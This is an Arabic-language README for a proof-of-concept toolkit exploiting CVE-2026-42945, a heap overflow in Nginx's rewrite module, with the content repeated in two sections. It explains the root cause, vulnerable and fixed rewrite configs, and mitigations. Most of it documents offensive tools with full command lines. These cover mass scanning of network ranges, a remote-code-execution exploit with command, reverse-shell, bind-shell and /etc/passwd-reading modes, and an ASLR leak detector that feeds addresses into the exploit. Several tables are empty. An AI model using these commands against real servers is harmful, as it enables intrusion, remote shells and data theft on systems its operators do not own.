CVE-2026-42945 Nginx Rift - مجموعة أدوات PoC

مجموعة أدوات متكاملة لإثبات المفهوم (PoC) لثغرة CVE-2026-42945 (Nginx Rift)، وهي ثغرة حرجة من نوع تجاوز سعة المخزن المؤقت في الكومة (Heap Buffer Overflow) في وحدة ngx_http_rewrite_module في Nginx.

ملخص الثغرة

السبب الجذري

توجد الثغرة بسبب خطأ في حساب الحجم بين تمريرين داخليين عند معالجة قواعد إعادة الكتابة (rewrite). إذا كان التكوين يستخدم:

• الالتقاطات غير المسماة بالتعبيرات المنتظمة ($1، $2، إلخ.)
• مقترنة بسلسلة استبدال تحتوي على ?

يحسب Nginx حجم المخزن المؤقت المطلوب بشكل خاطئ خلال التمرير الأول، ويكتب خارج حدود المخزن المؤقت المخصص في الكومة خلال التمرير الثاني.

مثال على تكوين ضعيف (به ثغرة)

server {
    # VULNERABLE: Unnamed capture ($1) + '?' in replacement
    location /api/ {
        rewrite ^/api/(.*)$ /v1/$1?version=2 last;
    }
}

تكوين آمن (مصحَّح)

server {
    # SAFE: Named capture (?P<path>) replaces $1
    location /api/ {
        rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
    }
}

مكونات مجموعة الأدوات

1. nginx_rift_poc.py - أداة PoC الأساسية

أداة مسح ضوئي واستغلال تستهدف هدفًا واحدًا.

الميزات:

• اكتشاف إصدار Nginx من رأس Server
• التحقق مما إذا كان الإصدار ضمن النطاق المعرض للثغرة
• إرسال حمولات HTTP مصمَّمة لإحداث تجاوز في الكومة
• إنشاء تكوينات اختبار ضعيفة وآمنة

الاستخدام:

# Detect version and test vulnerability
python nginx_rift_poc.py -t target.example.com

# Test with custom payload
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"

# HTTPS target
python nginx_rift_poc.py -t target.example.com --ssl -p 443

# Generate vulnerable test configuration
python nginx_rift_poc.py --gen-vuln-config > vuln.conf

# Generate safe (patched) configuration
python nginx_rift_poc.py --gen-safe-config > safe.conf

2. nginx_rift_scanner.py - الماسح الضوئي الجماعي

ماسح ضوئي مجمّع لفحص أهداف متعددة في وقت واحد.

الميزات:

• فحص متعدد الخيوط (افتراضيًا 50 خيطًا)
• قائمة أهداف من ملف أو نطاق شبكة CIDR
• مخرجات JSON للتكامل
• كشف تلقائي لـ SSL للمنفذ 443

الاستخدام:

# Scan from target file (format: host:port per line)
python nginx_rift_scanner.py -f targets.txt -o results.json

# Scan single target
python nginx_rift_scanner.py -t example.com -p 443 --ssl

# Scan network range
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080

# High-speed scan
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json

تنسيق ملف الأهداف:

# Comments start with #
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080

3. config_checker.py - محلل التكوين

مسح ملفات تكوين Nginx المحلية بحثًا عن أنماط إعادة كتابة ضعيفة.

الميزات:

• تحليل nginx.conf وتتبُّع توجيهات include
• اكتشاف الالتقاطات غير المسماة مع ? في سلاسل الاستبدال
• دعم الإصلاح التلقائي (مع نسخ احتياطية)
• مسح الدلائل بشكل متكرر

الاستخدام:

# Scan single file
python config_checker.py /etc/nginx/nginx.conf

# Scan directory recursively
python config_checker.py -d /etc/nginx/conf.d/

# Auto-fix vulnerable patterns (creates .bak backup)
python config_checker.py --fix /etc/nginx/nginx.conf

# Auto-detect common Nginx paths
python config_checker.py

4. enhanced_poc.py - أداة PoC المحسّنة لاستغلال التحكم عن بُعد (RCE)

أداة استغلال متقدمة تستند إلى الأبحاث الرسمية من depthfirst، وتدعم أنماط إعادة كتابة وأوضاع استغلال متعددة.

الميزات:

• كشف تلقائي لـ 8 أنماط شائعة من أنماط إعادة الكتابة الضعيفة (/api/، /redirect/، /user/، إلخ.)
• دعم أحرف تشغيل تجاوز متعددة (+، &، =، %)
• إنشاء حمولات ذكية بحجم تجاوز محكوم
• أوضاع استغلال متعددة: cmd / shell / bind / read
• عناوين أساس مخصصة للكومة/malloc (لبيئات تم تعطيل ASLR فيها)
• بناء جسم رش (spray) ديناميكي مع ngx_pool_cleanup_s مزيف

الاستخدام:

# Auto-detect patterns and version
python enhanced_poc.py -t target.example.com --detect

# Execute command (ASLR off)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"

# Reverse shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444

# Bind shell
python enhanced_poc.py -t target.example.com --bind --listen-port 5555

# Read remote file
python enhanced_poc.py -t target.example.com --read /etc/passwd

# Custom heap base (for ASLR-off targets)
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000

# Use & as overflow trigger
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"

تفاصيل وضع الاستغلال:

تكوين العناوين (فقط في بيئات تم تعطيل ASLR فيها):

• --heap-base: القاعدة الأساسية للكومة المستهدفة (مثل 0x555555559000)
• --libc-base: عنوان قاعدة libc (مثل 0x7ffff77ba000)
• --system-addr: عنوان system() مباشرة (يتجاوز libc-base)

5. aslr_leak_detector.py - كاشف تسرب ASLR

ماسح ضوئي شامل لكشف تسرب المعلومات الذي يمكنه تجاوز حماية ASLR.

الميزات:

• كشف تسرب رؤوس HTTP (Server، X-Powered-By، إلخ.)
• تحليل صفحات الخطأ بحثًا عن عناوين الذاكرة وتتبعات المكدس
• فحص نقاط نهاية خاصة بـ Nginx (/nginx_status، /actuator/*، إلخ.)
• كشف تسرب عناوين الذاكرة (مؤشرات 64 بت، عناوين الكومة/libc/المكدس)
• فحص تخطيط الكومة عبر تحليل التوقيت
• استنتاج حالة ASRL (ممكّن/معطّل/ضعيف)
• تكامل مباشر مع enhanced_poc.py عبر تقرير JSON

الاستخدام:

# Scan single target
python aslr_leak_detector.py -t target.example.com

# Scan with SSL
python aslr_leak_detector.py -t target.example.com -p 443 --ssl

# Scan from file, save report
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json

# Scan network range
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443

# Quick scan mode
python aslr_leak_detector.py -t target.example.com --quick

التكامل مع PoC المحسَّنة:

# Step 1: Detect leaks
python aslr_leak_detector.py -t target.example.com -o leak.json

# Step 2: Use leaked addresses for exploit
python enhanced_poc.py -t target.example.com \
  --heap-base 0x555555559000 \
  --libc-base 0x7ffff77ba000 \
  --cmd "id"

مؤشرات كشف الثغرة

تحدد أداة PoC الثغرة من خلال هذه المؤشرات:

التثبيت

لا يتطلب أي تبعيات خارجية. يستخدم فقط مكتبات Python القياسية.

# Clone or download the toolkit
git clone <repository-url>
cd CVE-2026-42945

# Verify Python version (3.7+ recommended)
python3 --version

# Run any tool
python3 nginx_rift_poc.py --help

الإصدارات المتأثرة

التخفيف

الإجراءات الفورية

1. تحديث Nginx إلى الإصدار 1.30.1 (المستقر) أو 1.31.0 (الرئيسي)
2. مراجعة التكوينات بحثًا عن أنماط إعادة كتابة ضعيفة
3. تمكين ASRL على جميع المضيفات التي تشغل عمليات Nginx

حل بديل للتكوين

إذا لم يكن التحديث ممكنًا فورًا، استبدل الالتقاطات غير المسماة بالتقاطات مسماة:

# BEFORE (VULNERABLE)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;

# AFTER (SAFE)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;

التصحيح الافتراضي عبر جدار الحماية للتطبيقات (WAF)

نشر قواعد WAF لحظر الطلبات المشوهة التي تستهدف أنماط إعادة الكتابة الضعيفة.

إخلاء المسؤولية

هذه المجموعة مخصصة فقط لاختبارات الأمان المصرح بها وأغراض البحث.

• استخدمها فقط ضد الأنظمة التي تملكها أو لديك إذن صريح لاختبارها
• الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني
• المؤلفون غير مسؤولين عن سوء الاستخدام أو الأضرار الناجمة عن هذه الأداة
• اختبر دائمًا في بيئات معزولة قبل الاستخدام في الإنتاج

الثغرات ذات الصلة

تم اكتشاف هذا الخلل مع ثلاث مشكلات أخرى لتلف الذاكرة:

المراجع

• نشرة أمان F5
• أمان Nginx
• تفاصيل CVE-2026-42945

الترخيص

هذا المشروع مقدم لأغراض تعليمية واختبارات أمان مصرح بها.

المؤلف: فريق أبحاث الأمان التاريخ: 2026-06-11

الوثائق باللغة العربية (التوثيق العربي)

ملخص الثغرة

CVE-2026-42945 (Nginx Rift) هي ثغرة تجاوز سعة المخزن المؤقت في الكومة في وحدة ngx_http_rewrite_module في Nginx، موجودة منذ عام 2008 (Nginx 0.6.27)، وظلت كامنة لمدة 18 عامًا تقريبًا.

مبدأ الثغرة

عند معالجة قواعد إعادة الكتابة (rewrite)، يقوم Nginx بعمليتي تحليل داخليتين. إذا كان التكوين يحقق الشرطين التاليين في نفس الوقت:

1. استخدام التقاط غير مسمى بالتعبير المنتظم (مثل $1، $2)
2. تحتوي سلسلة الاستبدال على حرف ?

يحسب Nginx حجم المخزن المؤقت بشكل خاطئ في التمرير الأول، ويكتب بيانات تتجاوز حدود المخزن المؤقت في الكومة في التمرير الثاني، مما يؤدي إلى تجاوز الكومة.

مثال على تكوين ضعيف (به ثغرة)

server {
    # به ثغرة: التقاط غير مسمى $1 + ? في سلسلة الاستبدال
    location /api/ {
        rewrite ^/api/(.*)$ /v1/$1?version=2 last;
    }
}

مثال على تكوين آمن (مُصحَّح)

server {
    # آمن: استخدام التقاط مسمى (?P<name>) بدلاً من $1
    location /api/ {
        rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
    }
}

شرح مكونات الأداة

1. nginx_rift_poc.py — أداة PoC الأساسية

أداة اكتشاف واستغلال الثغرة على هدف واحد.

الوظائف:

• اكتشاف إصدار Nginx من رأس Server في الاستجابة
• تحديد ما إذا كان الإصدار ضمن النطاق المعرض للثغرة
• إرسال طلبات HTTP مصممة بعناية لإحداث تجاوز في الكومة
• إنشاء تكوينات ضعيفة وآمنة للاختبار

أمثلة الاستخدام:

# اكتشاف الإصدار واختبار الثغرة
python nginx_rift_poc.py -t target.example.com

# اختبار بحمولة مخصصة
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"

# هدف عبر HTTPS
python nginx_rift_poc.py -t target.example.com --ssl -p 443

# إنشاء تكوين اختبار ضعيف
python nginx_rift_poc.py --gen-vuln-config > vuln.conf

# إنشاء تكوين آمن (مُصحَّح)
python nginx_rift_poc.py --gen-safe-config > safe.conf

2. nginx_rift_scanner.py — الماسح الضوئي الجماعي

أداة مسح ضوئي متعدد الخيوط لفحص أهداف متعددة في وقت واحد.

الوظائف:

• مسح متعدد الخيوط (افتراضيًا 50 خيطًا)
• دعم قائمة الأهداف من ملف أو نطاق شبكة CIDR
• مخرجات بتنسيق JSON للتكامل
• كشف تلقائي لـ SSL للمنفذ 443

أمثلة الاستخدام:

# مسح من ملف أهداف (تنسيق: host:port في كل سطر)
python nginx_rift_scanner.py -f targets.txt -o results.json

# مسح هدف واحد
python nginx_rift_scanner.py -t example.com -p 443 --ssl

# مسح نطاق شبكة
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080

# مسح عالي السرعة (100 خيط)
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json

تنسيق ملف الأهداف:

# الأسطر التي تبدأ بـ # هي تعليقات
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080

3. config_checker.py — مدقق ملفات التكوين

مسح ملفات تكوين Nginx المحلية بحثًا عن أنماط إعادة كتابة ضعيفة.

الوظائف:

• تحليل nginx.conf وتتبع توجيهات include بشكل متكرر
• اكتشاف تعليمات rewrite تحتوي على التقاط غير مسمى + ?
• دعم الإصلاح التلقائي (إنشاء نسخة احتياطية .bak تلقائيًا)
• مسح الدلائل بشكل متكرر

أمثلة الاستخدام:

# مسح ملف واحد
python config_checker.py /etc/nginx/nginx.conf

# مسح دليل بشكل متكرر
python config_checker.py -d /etc/nginx/conf.d/

# إصلاح التكوينات الضعيفة تلقائيًا (نسخ احتياطية تلقائية)
python config_checker.py --fix /etc/nginx/nginx.conf

# اكتشاف مسارات Nginx الشائعة تلقائيًا
python config_checker.py

4. enhanced_poc.py — أداة PoC المحسّنة لاستغلال التحكم عن بُعد (RCE)

أداة استغلال متقدمة تستند إلى الأبحاث الرسمية من depthfirst، وتدعم أنماط إعادة كتابة وطرق استغلال متعددة.

الوظائف:

• كشف تلقائي لـ 8 أنماط شائعة من أنماط إعادة الكتابة الضعيفة (/api/، /redirect/، /user/، إلخ.)
• دعم أحرف تشغيل تجاوز متعددة (+، &، =، %)
• إنشاء حمولات ذكية بحجم تجاوز محكوم بدقة
• أوضاع استغلال متعددة: cmd / shell / bind / read
• عناوين أساس مخصصة للكومة/libc (لبيئات تم تعطيل ASLR فيها)
• بناء جسم رش ديناميكي مع ngx_pool_cleanup_s مزيف

جدول توسيع حرف تشغيل التجاوز:

أمثلة الاستخدام:

# كشف أنماط التكوين والإصدار تلقائيًا
python enhanced_poc.py -t target.example.com --detect

# تنفيذ أمر (بيئة تم تعطيل ASLR فيها)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"

# إنشاء شل عكسي
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444

# إنشاء شل مرتبط (يستمع على الهدف)
python enhanced_poc.py -t target.example.com --bind --listen-port 5555

# قراءة ملف بعيد
python enhanced_poc.py -t target.example.com --read /etc/passwd

# عنوان أساس مخصص للكومة
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000

# استخدام & كحرف تشغيل التجاوز
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"

شرح أوضاع الاستغلال:

تكوين العناوين (فقط لبيئات تم تعطيل ASLR فيها):

• --heap-base: القاعدة الأساسية للكومة المستهدفة (مثل 0x555555559000)
• --libc-base: عنوان قاعدة libc (مثل 0x7ffff77ba000)
• --system-addr: عنوان system() مباشرة (يتجاوز libc-base)

5. aslr_leak_detector.py — أداة كشف تسرب معلومات ASLR

ماسح ضوئي شامل لكشف تسرب المعلومات الذي يمكن استخدامه لتجاوز حماية ASLR.

الوظائف:

• كشف تسرب رؤوس HTTP (Server، X-Powered-By، إلخ.)
• تحليل صفحات الخطأ بحثًا عن عناوين الذاكرة وتتبعات المكدس
• فحص نقاط نهاية خاصة بـ Nginx (/nginx_status، /actuator/*، إلخ.)
• كشف تسرب عناوين الذاكرة (مؤشرات 64 بت، عناوين الكومة/libc/المكدس)
• فحص تخطيط الكومة عبر تحليل الاختلافات في زمن الاستجابة
• استنتاج حالة ASRL (ممكّن/معطّل/ضعيف)
• تكامل مباشر مع enhanced_poc.py عبر تقرير JSON

أمثلة الاستخدام:

# مسح هدف واحد
python aslr_leak_detector.py -t target.example.com

# مسح عبر SSL
python aslr_leak_detector.py -t target.example.com -p 443 --ssl

# مسح من ملف وحفظ التقرير
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json

# مسح نطاق شبكة
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443

# وضع المسح السريع
python aslr_leak_detector.py -t target.example.com --quick

الاستخدام المتكامل مع PoC المحسَّنة:

# الخطوة 1: كشف التسربات
python aslr_leak_detector.py -t target.example.com -o leak.json

# الخطوة 2: استخدام العناوين المسربة في الاستغلال
python enhanced_poc.py -t target.example.com \
  --heap-base 0x555555559000 \
  --libc-base 0x7ffff77ba000 \
  --cmd "id"

مؤشرات كشف الثغرة

تحدد أداة PoC الثغرة من خلال الظواهر التالية:

طريقة التثبيت

لا حاجة لتثبيت أي تبعيات خارجية، فقط مكتبات Python القياسية.

# استنساخ أو تنزيل مجموعة الأدوات
git clone <repository-url>
cd CVE-2026-42945

# التحقق من إصدار Python (يوصى بـ 3.7+)
python3 --version

# عرض تعليمات الأداة
python3 nginx_rift_poc.py --help

الإصدارات المتأثرة

إجراءات التخفيف

توصيات عاجلة

1. قم بترقية Nginx فورًا إلى 1.30.1 (الإصدار المستقر) أو 1.31.0 (الإصدار الرئيسي)
2. راجع ملفات التكوين بحثًا عن وجود أنماط إعادة كتابة ضعيفة
3. قم بتمكين ASLR على جميع المضيفات التي تشغل Nginx لزيادة صعوبة استغلال RCE

حل مؤقت (في حالة عدم التمكن من الترقية الفورية)

استبدل الالتقاطات غير المسماة بالتقاطات مسماة:

# قبل التعديل (به ثغرة)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;

# بعد التعديل (آمن)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;

التصحيح الافتراضي عبر جدار الحماية للتطبيقات (WAF)

قم بنشر قواعد WAF لاعتراض الطلبات الخبيثة التي تستهدف أنماط إعادة الكتابة الضعيفة.

إخلاء المسؤولية

هذه المجموعة مخصصة فقط لاختبارات الأمن المصرح بها ولأغراض البحث.

• استخدمها فقط على الأنظمة التي تملكها أو لديك إذن صريح لاختبارها
• الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني
• المؤلفون غير مسؤولين عن سوء الاستخدام أو الأضرار الناجمة عن هذه الأداة
• الرجاء دائمًا الاختبار في بيئات معزولة قبل الاستخدام في بيئة الإنتاج

الثغرات ذات الصلة

تم اكتشاف هذه الثغرة ضمن سلسلة من مشاكل تلف الذاكرة التي اكتشفها نظام التحليل الثابت المدعوم بالذكاء الاصطناعي من depthfirst:

روابط مرجعية

• نشرة F5 الأمنية
• نشرة Nginx الأمنية
• تفاصيل CVE-2026-42945
• تحليل فني من SonicWall
• تقرير بحثي من Cloud Security Alliance

رخصة المصدر المفتوح

هذا المشروع مقدم لأغراض تعليمية واختبارات أمنية مصرح بها فقط.

المؤلف: فريق أبحاث الأمن التاريخ: 2026-06-11